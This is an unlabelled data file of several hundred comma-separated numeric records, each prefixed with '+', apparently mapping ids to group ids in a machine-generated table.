+19118,9323,9474,19118,0 +19571,9323,9474,19571,0 +10343,9323,9475,10343,0 +10344,9323,9475,10344,0 +10345,9323,9475,10345,0 +10346,9323,9475,10346,0 +10347,9323,9475,10347,0 +10348,9323,9475,10348,0 +10349,9323,9475,10349,0 +10350,9323,9475,10350,0 +10351,9323,9475,10351,0 +10352,9323,9475,10352,0 +10353,9323,9475,10353,0 +10354,9323,9475,10354,0 +10355,9323,9475,10355,0 +10356,9323,9475,10356,0 +10357,9323,9475,10357,0 +10358,9323,9475,10358,0 +10359,9323,9475,10359,0 +10360,9323,9475,10360,0 +10361,9323,9475,10361,0 +10362,9323,9475,10362,0 +10363,9323,9475,10363,0 +19572,9323,9475,19572,0 +20300,9323,9475,20300,0 +20301,9323,9475,20301,0 +10364,9323,9476,10364,0 +10365,9323,9476,10365,0 +10366,9323,9476,10366,0 +10367,9323,9476,10367,0 +10368,9323,9476,10368,0 +10369,9323,9476,10369,0 +10370,9323,9476,10370,0 +10371,9323,9476,10371,0 +10372,9323,9476,10372,0 +10373,9323,9476,10373,0 +10374,9323,9476,10374,0 +10375,9323,9476,10375,0 +10376,9323,9477,10376,0 +10377,9323,9477,10377,0 +10378,9323,9477,10378,0 +10379,9323,9477,10379,0 +10380,9323,9477,10380,0 +10381,9323,9477,10381,0 +10382,9323,9477,10382,0 +10383,9323,9477,10383,0 +10384,9323,9477,10384,0 +20302,9323,9477,20302,0 +20303,9323,9477,20303,0 +10385,9323,9478,10385,0 +10386,9323,9478,10386,0 +10387,9323,9479,10387,0 +10388,9323,9479,10388,0 +10389,9323,9479,10389,0 +10390,9323,9479,10390,0 +10391,9323,9479,10391,0 +10392,9323,9479,10392,0 +10393,9323,9479,10393,0 +10394,9323,9479,10394,0 +10395,9323,9479,10395,0 +10396,9323,9479,10396,0 +10397,9323,9479,10397,0 +10398,9323,9479,10398,0 +10399,9323,9479,10399,0 +10400,9323,9479,10400,0 +10401,9323,9479,10401,0 +10402,9323,9479,10402,0 +10403,9323,9479,10403,0 +10404,9323,9479,10404,0 +10405,9323,9479,10405,0 +10406,9323,9480,10406,0 +10407,9323,9480,10407,0 +10408,9323,9480,10408,0 +10409,9323,9480,10409,0 +10410,9323,9480,10410,0 +10411,9323,9480,10411,0 +10412,9323,9480,10412,0 +10413,9323,9480,10413,0 +10414,9323,9480,10414,0 +10415,9323,9480,10415,0 +10416,9323,9480,10416,0 +19573,9323,9480,19573,0 +10417,9323,9481,10417,0 +10418,9323,9481,10418,0 +10419,9323,9481,10419,0 +10420,9323,9481,10420,0 +10421,9323,9481,10421,0 +10422,9323,9481,10422,0 +10423,9323,9481,10423,0 +10424,9323,9481,10424,0 +10425,9323,9481,10425,0 +10426,9323,9481,10426,0 +10427,9323,9481,10427,0 +10428,9323,9481,10428,0 +10429,9323,9481,10429,0 +10430,9323,9481,10430,0 +10431,9323,9481,10431,0 +10432,9323,9481,10432,0 +10433,9323,9481,10433,0 +10434,9323,9481,10434,0 +10435,9323,9481,10435,0 +10436,9323,9481,10436,0 +10437,9323,9481,10437,0 +10438,9323,9481,10438,0 +10439,9323,9482,10439,0 +10440,9323,9482,10440,0 +10441,9323,9483,10441,0 +10442,9323,9483,10442,0 +10443,9323,9483,10443,0 +10444,9323,9483,10444,0 +10445,9323,9483,10445,0 +10446,9323,9483,10446,0 +10447,9323,9483,10447,0 +10448,9323,9483,10448,0 +10449,9323,9483,10449,0 +10450,9323,9483,10450,0 +10451,9323,9483,10451,0 +10452,9323,9483,10452,0 +10453,9323,9483,10453,0 +10454,9323,9483,10454,0 +10455,9323,9483,10455,0 +10456,9323,9483,10456,0 +10457,9323,9483,10457,0 +10458,9323,9483,10458,0 +10459,9323,9483,10459,0 +10460,9323,9483,10460,0 +10461,9323,9483,10461,0 +10462,9323,9483,10462,0 +10463,9323,9483,10463,0 +10464,9323,9483,10464,0 +10465,9323,9483,10465,0 +10466,9323,9483,10466,0 +10467,9323,9483,10467,0 +10468,9323,9483,10468,0 +10469,9323,9483,10469,0 +10470,9323,9483,10470,0 +10471,9323,9483,10471,0 +10472,9323,9483,10472,0 +10473,9323,9483,10473,0 +10474,9323,9483,10474,0 +10475,9323,9483,10475,0 +10476,9323,9483,10476,0 +10477,9323,9483,10477,0 +20382,9323,9483,20382,0 +10478,9324,9484,10478,0 +10479,9324,9484,10479,0 +10480,9324,9484,10480,0 +10482,9324,9484,10482,0 +10483,9324,9484,10483,0 +10484,9324,9484,10484,0 +10485,9324,9484,10485,0 +10486,9324,9485,10486,0 +10487,9324,9485,10487,0 +10488,9324,9485,10488,0 +10489,9324,9485,10489,0 +10490,9324,9485,10490,0 +10491,9324,9485,10491,0 +10492,9324,9485,10492,0 +10493,9324,9485,10493,0 +10494,9324,9485,10494,0 +10495,9324,9485,10495,0 +10496,9324,9485,10496,0 +10497,9324,9486,10497,0 +10498,9324,9486,10498,0 +10499,9324,9486,10499,0 +10500,9324,9486,10500,0 +10501,9324,9486,10501,0 +10502,9324,9486,10502,0 +10503,9324,9486,10503,0 +10504,9324,9486,10504,0 +10505,9324,9486,10505,0 +10506,9324,9486,10506,0 +10507,9324,9486,10507,0 +10508,9324,9486,10508,0 +10509,9324,9486,10509,0 +10510,9324,9486,10510,0 +10512,9324,9486,10512,0 +10513,9324,9487,10513,0 +10514,9324,9487,10514,0 +10515,9324,9487,10515,0 +10516,9324,9487,10516,0 +10517,9324,9487,10517,0 +10518,9324,9487,10518,0 +10519,9324,9487,10519,0 +10520,9324,9487,10520,0 +10521,9324,9487,10521,0 +13174,9324,9487,13174,0 +10522,9324,9488,10522,0 +10523,9324,9488,10523,0 +10524,9324,9488,10524,0 +10525,9324,9488,10525,0 +10526,9324,9488,10526,0 +10527,9324,9489,10527,0 +10528,9324,9489,10528,0 +10529,9324,9489,10529,0 +10530,9324,9489,10530,0 +10531,9324,9489,10531,0 +10532,9324,9489,10532,0 +10533,9324,9489,10533,0 +10534,9324,9489,10534,0 +10535,9324,9489,10535,0 +10536,9324,9489,10536,0 +10537,9324,9489,10537,0 +10538,9324,9489,10538,0 +10539,9324,9489,10539,0 +10540,9324,9489,10540,0 +10541,9324,9489,10541,0 +10542,9324,9489,10542,0 +10543,9324,9489,10543,0 +10544,9324,9489,10544,0 +10545,9324,9489,10545,0 +10547,9324,9490,10547,0 +10548,9324,9490,10548,0 +10549,9324,9490,10549,0 +10550,9324,9490,10550,0 +10551,9324,9490,10551,0 +10552,9324,9490,10552,0 +18756,9324,9490,18756,0 +10553,9324,9491,10553,0 +10554,9324,9491,10554,0 +10555,9324,9491,10555,0 +10556,9324,9491,10556,0 +10557,9324,9492,10557,0 +10558,9324,9492,10558,0 +10559,9324,9492,10559,0 +10560,9324,9492,10560,0 +10561,9324,9492,10561,0 +10562,9324,9492,10562,0 +10563,9324,9492,10563,0 +10564,9324,9493,10564,0 +10565,9324,9493,10565,0 +10566,9324,9493,10566,0 +10567,9324,9493,10567,0 +10568,9324,9493,10568,0 +10569,9324,9493,10569,0 +10570,9324,9493,10570,0 +10571,9324,9493,10571,0 +10572,9324,9493,10572,0 +10573,9324,9493,10573,0 +10574,9324,9493,10574,0 +10575,9324,9493,10575,0 +10576,9324,9493,10576,0 +10577,9324,9493,10577,0 +10578,9324,9493,10578,0 +10579,9324,9493,10579,0 +10580,9324,9494,10580,0 +10581,9324,9494,10581,0 +10582,9324,9494,10582,0 +10583,9324,9495,10583,0 +10584,9324,9495,10584,0 +10585,9324,9495,10585,0 +10586,9324,9495,10586,0 +10587,9324,9495,10587,0 +10588,9324,9496,10588,0 +10589,9324,9496,10589,0 +10590,9324,9496,10590,0 +10591,9324,9496,10591,0 +10592,9324,9496,10592,0 +10593,9324,9496,10593,0 +10594,9324,9496,10594,0 +10595,9324,9496,10595,0 +10596,9324,9496,10596,0 +10597,9324,9496,10597,0 +10598,9324,9496,10598,0 +10603,9324,9498,10603,0 +10604,9324,9498,10604,0 +10605,9324,9498,10605,0 +10606,9324,9499,10606,0 +10607,9324,9499,10607,0 +10608,9324,9499,10608,0 +10609,9324,9499,10609,0 +10610,9324,9499,10610,0 +10611,9324,9499,10611,0 +10612,9324,9499,10612,0 +10613,9324,9499,10613,0 +10614,9324,9499,10614,0 +10615,9324,9499,10615,0 +10616,9324,9499,10616,0 +10617,9324,9499,10617,0 +10618,9324,9499,10618,0 +10619,9324,9499,10619,0 +13173,9324,9499,13173,0 +10620,9324,9500,10620,0 +10621,9324,9500,10621,0 +10622,9324,9500,10622,0 +20361,9324,20360,20361,0 +11801,11683,11690,11801,0 +11802,11683,11690,11802,0 +11803,11683,11690,11803,0 +11804,11683,11690,11804,0 +11805,11683,11690,11805,0 +11806,11683,11690,11806,0 +11807,11683,11690,11807,0 +11809,11683,11690,11809,0 +11810,11683,11690,11810,0 +11811,11683,11690,11811,0 +11812,11683,11690,11812,0 +11813,11683,11690,11813,0 +11814,11683,11690,11814,0 +11815,11683,11690,11815,0 +11816,11683,11690,11816,0 +11817,11683,11690,11817,0 +11818,11683,11690,11818,0 +11819,11683,11690,11819,0 +11820,11683,11690,11820,0 +11821,11683,11690,11821,0 +11822,11683,11690,11822,0 +11823,11683,11690,11823,0 +11824,11683,11690,11824,0 +11825,11683,11691,11825,0 +11826,11683,11691,11826,0 +11827,11683,11691,11827,0 +11828,11683,11691,11828,0 +11829,11683,11691,11829,0 +11830,11683,11691,11830,0 +11831,11683,11691,11831,0 +11832,11683,11691,11832,0 +11833,11683,11691,11833,0 +11834,11683,11691,11834,0 +11835,11683,11691,11835,0 +11836,11683,11691,11836,0 +11837,11683,11691,11837,0 +11838,11683,11691,11838,0 +11839,11683,11691,11839,0 +11840,11683,11691,11840,0 +11841,11683,11691,11841,0 +11842,11683,11691,11842,0 +11843,11683,11691,11843,0 +11844,11683,11691,11844,0 +11845,11683,11691,11845,0 +11846,11683,11692,11846,0 +11847,11683,11692,11847,0 +11848,11683,11692,11848,0 +11849,11683,11692,11849,0 +11850,11683,11692,11850,0 +11851,11683,11692,11851,0 +11852,11683,11692,11852,0 +11853,11683,11693,11853,0 +11854,11683,11693,11854,0 +11855,11683,11693,11855,0 +11856,11683,11693,11856,0 +11857,11683,11693,11857,0 +11858,11683,11693,11858,0 +11859,11683,11693,11859,0 +11860,11683,11693,11860,0 +11861,11683,11693,11861,0 +11862,11683,11693,11862,0 +11863,11683,11693,11863,0 +11864,11683,11693,11864,0 +11865,11683,11693,11865,0 +11866,11683,11693,11866,0 +11867,11683,11693,11867,0 +11868,11683,11693,11868,0 +11869,11683,11693,11869,0 +11870,11683,11693,11870,0 +11871,11683,11693,11871,0 +11872,11683,11693,11872,0 +11873,11683,11693,11873,0 +11874,11683,11693,11874,0 +11875,11683,11693,11875,0 +11876,11683,11693,11876,0 +11877,11683,11693,11877,0 +11878,11683,11693,11878,0 +11879,11683,11693,11879,0 +11880,11683,11693,11880,0 +11881,11683,11693,11881,0 +11882,11683,11693,11882,0 +11883,11683,11693,11883,0 +11884,11683,11693,11884,0 +11885,11683,11693,11885,0 +11886,11683,11693,11886,0 +11887,11683,11693,11887,0 +11888,11683,11693,11888,0 +11889,11683,11693,11889,0 +11890,11683,11693,11890,0 +11891,11683,11693,11891,0 +11892,11683,11693,11892,0 +11893,11684,11694,11893,0 +11894,11684,11694,11894,0 +11895,11684,11694,11895,0 +11896,11684,11694,11896,0 +11897,11684,11694,11897,0 +11898,11684,11694,11898,0 +11899,11684,11694,11899,0 +11900,11684,11694,11900,0 +11901,11684,11694,11901,0 +11902,11684,11694,11902,0 +11903,11684,11694,11903,0 +11904,11684,11694,11904,0 +11905,11684,11694,11905,0 +11906,11684,11694,11906,0 +11907,11684,11694,11907,0 +11908,11684,11694,11908,0 +11909,11684,11694,11909,0 +11910,11684,11694,11910,0 +11911,11684,11694,11911,0 +11912,11684,11694,11912,0 +11913,11684,11694,11913,0 +11914,11684,11694,11914,0 +11915,11684,11694,11915,0 +11916,11684,11694,11916,0 +11917,11684,11694,11917,0 +11918,11684,11694,11918,0 +11919,11684,11694,11919,0 +11920,11684,11694,11920,0 +11921,11684,11694,11921,0 +11922,11684,11694,11922,0 +11923,11684,11694,11923,0 +11924,11684,11694,11924,0 +11925,11684,11694,11925,0 +11926,11684,11694,11926,0 +11927,11684,11694,11927,0 +11928,11684,11694,11928,0 +11929,11684,11694,11929,0 +11930,11684,11694,11930,0 +11931,11684,11694,11931,0 +11932,11684,11694,11932,0 +11933,11684,11694,11933,0 +11934,11684,11694,11934,0 +11935,11684,11694,11935,0 +11936,11684,11694,11936,0 +11937,11684,11694,11937,0 +11938,11684,11694,11938,0 +19284,11684,11694,19284,0 +20100,11684,11694,20100,0 +11939,11684,11695,11939,0 +11940,11684,11695,11940,0 +11941,11684,11695,11941,0 +11942,11684,11695,11942,0 +11943,11684,11695,11943,0 +11944,11684,11695,11944,0 +11945,11684,11695,11945,0 +11946,11684,11695,11946,0 +11947,11684,11695,11947,0 +11948,11684,11695,11948,0 +11949,11684,11695,11949,0 +11950,11684,11696,11950,0 +11951,11684,11697,11951,0 +11952,11684,11697,11952,0 +11953,11684,11697,11953,0 +11954,11684,11697,11954,0 +11955,11684,11697,11955,0 +19281,11684,11697,19281,0 +11956,11684,11698,11956,0 +11957,11684,11698,11957,0 +11958,11684,11698,11958,0 +11959,11684,11698,11959,0 +11960,11684,11698,11960,0 +11961,11684,11698,11961,0 +11962,11684,11698,11962,0 +11963,11684,11698,11963,0 +11964,11684,11698,11964,0 +11965,11684,11698,11965,0 +11966,11684,11698,11966,0 +11967,11684,11698,11967,0 +11968,11684,11698,11968,0 +11969,11684,11698,11969,0 +11970,11684,11698,11970,0 +11971,11684,11699,11971,0 +11972,11684,11699,11972,0 +11973,11684,11699,11973,0 +11974,11684,11699,11974,0 +11975,11684,11699,11975,0 +11976,11684,11699,11976,0 +11977,11684,11699,11977,0 +11978,11684,11699,11978,0 +11979,11684,11699,11979,0 +11980,11684,11699,11980,0 +11981,11684,11699,11981,0 +11982,11684,11699,11982,0 +11983,11684,11699,11983,0 +11984,11684,11699,11984,0 +19276,11684,11699,19276,0 +19285,11684,11699,19285,0 +11985,11684,11700,11985,0 +11986,11684,11700,11986,0 +11987,11684,11700,11987,0 +11988,11684,11700,11988,0 +11989,11684,11700,11989,0 +11990,11684,11700,11990,0 +11991,11684,11700,11991,0 +11992,11684,11700,11992,0 +11993,11684,11700,11993,0 +19277,11684,11700,19277,0 +11994,11684,11701,11994,0 +11995,11684,11701,11995,0 +11996,11684,11701,11996,0 +11997,11684,11701,11997,0 +11998,11684,11701,11998,0 +11999,11684,11701,11999,0 +12000,11684,11701,12000,0 +12001,11684,11701,12001,0 +12002,11684,11701,12002,0 +12003,11684,11702,12003,0 +12004,11684,11702,12004,0 +12005,11684,11702,12005,0 +12006,11684,11702,12006,0 +12007,11684,11702,12007,0 +12008,11684,11702,12008,0 +12009,11684,11702,12009,0 +12010,11684,11702,12010,0 +12011,11684,11703,12011,0 +12012,11684,11703,12012,0 +12013,11684,11703,12013,0 +19283,11684,11703,19283,0 +12014,11684,11704,12014,0 +12015,11684,11704,12015,0 +12016,11684,11704,12016,0 +12017,11684,11704,12017,0 +12018,11684,11704,12018,0 +12019,11684,11704,12019,0 +12020,11684,11704,12020,0 +12021,11684,11704,12021,0 +12022,11684,11704,12022,0 +12023,11684,11704,12023,0 +12024,11684,11704,12024,0 +12025,11684,11704,12025,0 +12026,11684,11704,12026,0 +12027,11684,11704,12027,0 +19280,11684,11704,19280,0 +12028,11684,11705,12028,0 +12029,11684,11705,12029,0 +12030,11684,11706,12030,0 +12031,11684,11707,12031,0 +12032,11684,11707,12032,0 +12033,11684,11707,12033,0 +12034,11684,11707,12034,0 +12035,11684,11707,12035,0 +12036,11684,11708,12036,0 +12037,11684,11708,12037,0 +12038,11684,11708,12038,0 +12039,11684,11708,12039,0 +12040,11684,11708,12040,0 +12041,11684,11708,12041,0 +12042,11684,11708,12042,0 +12043,11684,11708,12043,0 +12044,11684,11709,12044,0 +12045,11684,11709,12045,0 +12046,11684,11709,12046,0 +12047,11684,11709,12047,0 +12048,11684,11709,12048,0 +12049,11684,11709,12049,0 +12050,11684,11709,12050,0 +12051,11684,11709,12051,0 +12052,11684,11709,12052,0 +12053,11684,11709,12053,0 +19282,11684,11709,19282,0 +12054,11684,11710,12054,0 +12055,11684,11710,12055,0 +12056,11684,11710,12056,0 +12057,11684,11710,12057,0 +12058,11684,11710,12058,0 +12059,11684,11710,12059,0 +12060,11684,11710,12060,0 +12061,11684,11710,12061,0 +12062,11684,11710,12062,0 +12063,11684,11710,12063,0 +12064,11684,11711,12064,0 +12065,11684,11711,12065,0 +12066,11684,11711,12066,0 +12067,11684,11711,12067,0 +12068,11684,11711,12068,0 +12069,11684,11711,12069,0 +12070,11684,11711,12070,0 +12071,11684,11711,12071,0 +12072,11684,11712,12072,0 +12073,11684,11712,12073,0 +12074,11684,11712,12074,0 +12075,11684,11712,12075,0 +12076,11684,11712,12076,0 +12077,11684,11712,12077,0 +12078,11684,11712,12078,0 +19279,11684,19278,19279,0 +19287,11684,19286,19287,0 +19288,11684,19286,19288,0 +19289,11684,19286,19289,0 +19290,11684,19286,19290,0 +19291,11684,19286,19291,0 +19292,11684,19286,19292,0 +19293,11684,19286,19293,0 +12079,11685,11713,12079,0 +12080,11685,11713,12080,0 +12081,11685,11713,12081,0 +12082,11685,11713,12082,0 +12083,11685,11714,12083,0 +12084,11685,11714,12084,0 +12085,11685,11714,12085,0 +12086,11685,11714,12086,0 +12087,11685,11714,12087,0 +12088,11685,11714,12088,0 +12089,11685,11714,12089,0 +12090,11685,11714,12090,0 +12091,11685,11715,12091,0 +12092,11685,11715,12092,0 +12093,11685,11715,12093,0 +12094,11685,11715,12094,0 +12095,11685,11715,12095,0 +12096,11685,11715,12096,0 +12097,11685,11716,12097,0 +12098,11685,11716,12098,0 +12099,11685,11716,12099,0 +12100,11685,11716,12100,0 +12101,11685,11716,12101,0 +12102,11685,11717,12102,0 +12103,11685,11717,12103,0 +12104,11685,11717,12104,0 +12105,11685,11717,12105,0 +12106,11685,11717,12106,0 +12107,11685,11717,12107,0 +12108,11685,11718,12108,0 +12109,11685,11718,12109,0 +12110,11685,11718,12110,0 +12111,11685,11718,12111,0 +12112,11685,11718,12112,0 +12113,11685,11718,12113,0 +12114,11685,11718,12114,0 +12115,11685,11718,12115,0 +12116,11685,11718,12116,0 +12117,11685,11718,12117,0 +12118,11685,11718,12118,0 +12119,11685,11718,12119,0 +12120,11685,11718,12120,0 +12121,11685,11718,12121,0 +12122,11685,11718,12122,0 +12123,11685,11718,12123,0 +12124,11685,11718,12124,0 +12125,11685,11718,12125,0 +18760,11685,11718,18760,0 +12126,11685,11719,12126,0 +12127,11685,11719,12127,0 +12129,11685,11719,12129,0 +12130,11685,11719,12130,0 +18762,11685,11719,18762,0 +12131,11685,11720,12131,0 +12132,11685,11720,12132,0 +12133,11685,11720,12133,0 +12134,11685,11720,12134,0 +12135,11685,11720,12135,0 +12136,11685,11721,12136,0 +12137,11685,11721,12137,0 +12138,11685,11721,12138,0 +12139,11685,11721,12139,0 +12140,11685,11721,12140,0 +12141,11685,11721,12141,0 +12142,11685,11721,12142,0 +12143,11685,11721,12143,0 +12144,11685,11721,12144,0 +12145,11685,11721,12145,0 +12146,11685,11721,12146,0 +12147,11685,11721,12147,0 +12148,11685,11721,12148,0 +12149,11685,11722,12149,0 +12150,11685,11722,12150,0 +12151,11685,11722,12151,0 +12152,11685,11722,12152,0 +12153,11685,11722,12153,0 +12154,11685,11722,12154,0 +12155,11685,11722,12155,0 +12156,11685,11723,12156,0 +12157,11685,11724,12157,0 +12158,11685,11724,12158,0 +12159,11685,11724,12159,0 +12160,11685,11724,12160,0 +12161,11685,11724,12161,0 +12162,11685,11724,12162,0 +12163,11685,11724,12163,0 +12164,11685,11724,12164,0 +12165,11685,11724,12165,0 +12166,11685,11724,12166,0 +12167,11685,11724,12167,0 +12168,11685,11724,12168,0 +12169,11685,11724,12169,0 +12170,11685,11724,12170,0 +12171,11685,11724,12171,0 +12172,11685,11724,12172,0 +12173,11685,11725,12173,0 +12174,11685,11725,12174,0 +12175,11685,11725,12175,0 +12176,11685,11725,12176,0 +12177,11685,11725,12177,0 +12178,11685,11725,12178,0 +12179,11685,11725,12179,0 +12180,11685,11725,12180,0 +12181,11685,11725,12181,0 +12182,11685,11725,12182,0 +12183,11685,11725,12183,0 +12184,11685,11726,12184,0 +12185,11685,11726,12185,0 +12186,11685,11726,12186,0 +12187,11685,11726,12187,0 +12188,11685,11726,12188,0 +12189,11685,11726,12189,0 +12190,11685,11726,12190,0 +12191,11685,11726,12191,0 +12192,11685,11726,12192,0 +12193,11685,11726,12193,0 +12194,11685,11726,12194,0 +12195,11685,11726,12195,0 +12196,11685,11726,12196,0 +12197,11685,11726,12197,0 +12198,11685,11726,12198,0 +12199,11685,11727,12199,0 +12200,11685,11727,12200,0 +12201,11685,11727,12201,0 +12202,11685,11727,12202,0 +12203,11685,11727,12203,0 +12204,11685,11727,12204,0 +12205,11685,11727,12205,0 +12206,11685,11727,12206,0 +12207,11685,11727,12207,0 +12208,11685,11727,12208,0 +12209,11685,11727,12209,0 +12210,11685,11727,12210,0 +12211,11685,11727,12211,0 +12212,11685,11727,12212,0 +12213,11685,11727,12213,0 +12214,11685,11727,12214,0 +12215,11685,11727,12215,0 +12216,11685,11727,12216,0 +12217,11685,11727,12217,0 +12218,11685,11727,12218,0 +12219,11685,11727,12219,0 +12220,11685,11727,12220,0 +12221,11685,11727,12221,0 +12222,11685,11727,12222,0 +12223,11685,11728,12223,0 +12224,11685,11728,12224,0 +12225,11685,11728,12225,0 +12226,11685,11728,12226,0 +12227,11685,11728,12227,0 +12228,11685,11728,12228,0 +12229,11685,11728,12229,0 +12230,11685,11728,12230,0 +12231,11685,11729,12231,0 +12232,11685,11729,12232,0 +12233,11685,11729,12233,0 +12234,11685,11729,12234,0 +12235,11685,11729,12235,0 +12236,11685,11729,12236,0 +12237,11685,11729,12237,0 +12238,11685,11730,12238,0 +12239,11685,11730,12239,0 +12240,11685,11730,12240,0 +12241,11685,11730,12241,0 +12242,11685,11730,12242,0 +12243,11685,11730,12243,0 +12244,11685,11730,12244,0 +12245,11685,11730,12245,0 +12246,11685,11730,12246,0 +12247,11685,11730,12247,0 +12248,11685,11730,12248,0 +12249,11685,11730,12249,0 +12250,11685,11730,12250,0 +12251,11685,11730,12251,0 +12252,11685,11730,12252,0 +12253,11685,11730,12253,0 +12254,11685,11730,12254,0 +20472,11685,11730,20472,0 +12255,11685,11731,12255,0 +12256,11685,11731,12256,0 +12257,11685,11731,12257,0 +12258,11685,11731,12258,0 +12259,11685,11731,12259,0 +12260,11685,11731,12260,0 +12261,11685,11731,12261,0 +12262,11685,11731,12262,0 +12263,11685,11731,12263,0 +12264,11685,11731,12264,0 +12265,11685,11731,12265,0 +12266,11685,11731,12266,0 +12267,11685,11731,12267,0 +12268,11685,11731,12268,0 +12269,11685,11731,12269,0 +12270,11685,11731,12270,0 +12271,11685,11731,12271,0 +12272,11685,11731,12272,0 +12273,11685,11732,12273,0 +12274,11685,11732,12274,0 +12275,11685,11732,12275,0 +12276,11685,11732,12276,0 +12277,11685,11732,12277,0 +12278,11685,11732,12278,0 +12279,11685,11732,12279,0 +12280,11685,11732,12280,0 +12281,11685,11732,12281,0 +12282,11685,11732,12282,0 +12283,11685,11732,12283,0 +12284,11685,11732,12284,0 +12285,11685,11732,12285,0 +12287,11685,11733,12287,0 +12288,11685,11733,12288,0 +12289,11685,11733,12289,0 +12290,11685,11733,12290,0 +12291,11685,11733,12291,0 +12292,11685,11733,12292,0 +12293,11685,11733,12293,0 +12294,11685,11733,12294,0 +12295,11685,11733,12295,0 +12296,11685,11733,12296,0 +12297,11685,11733,12297,0 +12298,11685,11733,12298,0 +12299,11685,11733,12299,0 +12300,11685,11733,12300,0 +12301,11685,11733,12301,0 +12302,11685,11733,12302,0 +12303,11685,11733,12303,0 +12304,11685,11734,12304,0 +12305,11685,11735,12305,0 +12306,11685,11735,12306,0 +12307,11685,11735,12307,0 +12308,11685,11735,12308,0 +12309,11685,11735,12309,0 +12310,11685,11735,12310,0 +12311,11685,11735,12311,0 +12312,11685,11735,12312,0 +12313,11685,11735,12313,0 +12314,11685,11735,12314,0 +12315,11685,11735,12315,0 +12316,11685,11735,12316,0 +12317,11685,11735,12317,0 +12318,11685,11736,12318,0 +12319,11685,11736,12319,0 +12320,11685,11736,12320,0 +12321,11685,11736,12321,0 +12322,11685,11736,12322,0 +12323,11685,11736,12323,0 +12324,11685,11736,12324,0 +12325,11685,11736,12325,0 +12326,11685,11736,12326,0 +12327,11685,11736,12327,0 +12330,11685,11736,12330,0 +12331,11685,11736,12331,0 +12332,11685,11736,12332,0 +12333,11685,11736,12333,0 +12334,11685,11736,12334,0 +12335,11685,11736,12335,0 +12336,11685,11736,12336,0 +12337,11685,11736,12337,0 +12619,11685,11736,12619,0 +14685,11685,11736,14685,0 +14686,11685,11736,14686,0 +12338,11685,11737,12338,0 +12339,11685,11737,12339,0 +12340,11685,11737,12340,0 +12341,11685,11737,12341,0 +12342,11685,11737,12342,0 +12343,11685,11737,12343,0 +12344,11685,11737,12344,0 +12345,11685,11737,12345,0 +12346,11685,11737,12346,0 +12347,11685,11738,12347,0 +12348,11685,11738,12348,0 +12349,11685,11738,12349,0 +12350,11685,11738,12350,0 +12351,11685,11738,12351,0 +12352,11685,11738,12352,0 +12353,11685,11738,12353,0 +12354,11685,11738,12354,0 +12355,11685,11738,12355,0 +12356,11685,11738,12356,0 +12357,11685,11738,12357,0 +12358,11685,11738,12358,0 +12359,11685,11738,12359,0 +12360,11685,11738,12360,0 +12361,11685,11738,12361,0 +12362,11685,11738,12362,0 +12363,11685,11738,12363,0 +12364,11685,11739,12364,0 +12365,11685,11739,12365,0 +12366,11685,11739,12366,0 +12367,11685,11739,12367,0 +12368,11685,11739,12368,0 +12369,11685,11739,12369,0 +12370,11685,11739,12370,0 +12371,11685,11739,12371,0 +12372,11685,11739,12372,0 +12373,11685,11739,12373,0 +12374,11685,11739,12374,0 +12375,11685,11739,12375,0 +12376,11685,11739,12376,0 +12377,11685,11739,12377,0 +12378,11685,11739,12378,0 +12379,11685,11739,12379,0 +12380,11685,11739,12380,0 +12381,11685,11739,12381,0 +12382,11685,11739,12382,0 +12383,11685,11739,12383,0 +12384,11685,11739,12384,0 +12385,11685,11739,12385,0 +12386,11685,11739,12386,0 +12387,11685,11739,12387,0 +12388,11685,11739,12388,0 +12389,11685,11739,12389,0 +12390,11685,11740,12390,0 +12391,11685,11740,12391,0 +12392,11685,11740,12392,0 +12393,11685,11740,12393,0 +12394,11685,11740,12394,0 +12395,11685,11740,12395,0 +12396,11685,11740,12396,0 +12397,11685,11740,12397,0 +12398,11685,11740,12398,0 +12399,11685,11740,12399,0 +12400,11685,11740,12400,0 +12401,11685,11740,12401,0 +12402,11685,11741,12402,0 +12403,11685,11742,12403,0 +12404,11685,11742,12404,0 +12405,11685,11742,12405,0 +12406,11685,11742,12406,0 +12407,11685,11742,12407,0 +12408,11685,11742,12408,0 +12409,11685,11742,12409,0 +12410,11685,11742,12410,0 +12411,11685,11742,12411,0 +12412,11685,11742,12412,0 +12413,11685,11742,12413,0 +12414,11685,11742,12414,0 +12415,11685,11742,12415,0 +12416,11685,11742,12416,0 +12417,11685,11742,12417,0 +12418,11685,11742,12418,0 +12419,11685,11742,12419,0 +12420,11685,11742,12420,0 +12421,11685,11742,12421,0 +12422,11685,11742,12422,0 +12423,11685,11742,12423,0 +12424,11685,11742,12424,0 +12425,11685,11742,12425,0 +12426,11685,11742,12426,0 +12427,11685,11742,12427,0 +12428,11685,11742,12428,0 +12429,11685,11742,12429,0 +12430,11685,11742,12430,0 +12431,11685,11742,12431,0 +12432,11685,11742,12432,0 +12433,11685,11742,12433,0 +19273,11685,11742,19273,0 +12434,11685,11743,12434,0 +12435,11685,11743,12435,0 +12436,11685,11743,12436,0 +12437,11685,11743,12437,0 +12438,11685,11743,12438,0 +12439,11685,11743,12439,0 +12440,11685,11743,12440,0 +12441,11685,11743,12441,0 +12442,11685,11743,12442,0 +12443,11685,11743,12443,0 +12444,11685,11743,12444,0 +12445,11686,11744,12445,0 +12446,11686,11745,12446,0 +12447,11686,11745,12447,0 +12448,11686,11745,12448,0 +12449,11686,11745,12449,0 +12450,11686,11745,12450,0 +12451,11686,11746,12451,0 +12452,11686,11747,12452,0 +12453,11686,11748,12453,0 +12454,11686,11749,12454,0 +12455,11686,11749,12455,0 +12456,11686,11750,12456,0 +12457,11686,11751,12457,0 +12458,11686,11751,12458,0 +12459,11686,11751,12459,0 +12460,11686,11751,12460,0 +12461,11686,11752,12461,0 +12462,11686,11752,12462,0 +12463,11686,11752,12463,0 +12464,11686,11753,12464,0 +12465,11686,11754,12465,0 +12466,11686,11755,12466,0 +12467,11686,11756,12467,0 +12468,11686,11757,12468,0 +12469,11686,11758,12469,0 +12470,11686,11759,12470,0 +12471,11686,11760,12471,0 +12472,11686,11761,12472,0 +12473,11686,11762,12473,0 +12474,11686,11763,12474,0 +12475,11686,11764,12475,0 +12476,11686,11765,12476,0 +12477,11686,11766,12477,0 +12478,11686,11767,12478,0 +12480,11686,11769,12480,0 +12481,11686,11770,12481,0 +12482,11686,11770,12482,0 +12483,11686,11771,12483,0 +12484,11686,11772,12484,0 +12485,11687,11773,12485,0 +12486,11687,11773,12486,0 +12487,11687,11773,12487,0 +12488,11687,11773,12488,0 +12489,11687,11774,12489,0 +12490,11687,11775,12490,0 +12491,11687,11776,12491,0 +12492,11687,11777,12492,0 +12493,11687,11778,12493,0 +12495,11687,11779,12495,0 +12496,11687,11779,12496,0 +12497,11687,11779,12497,0 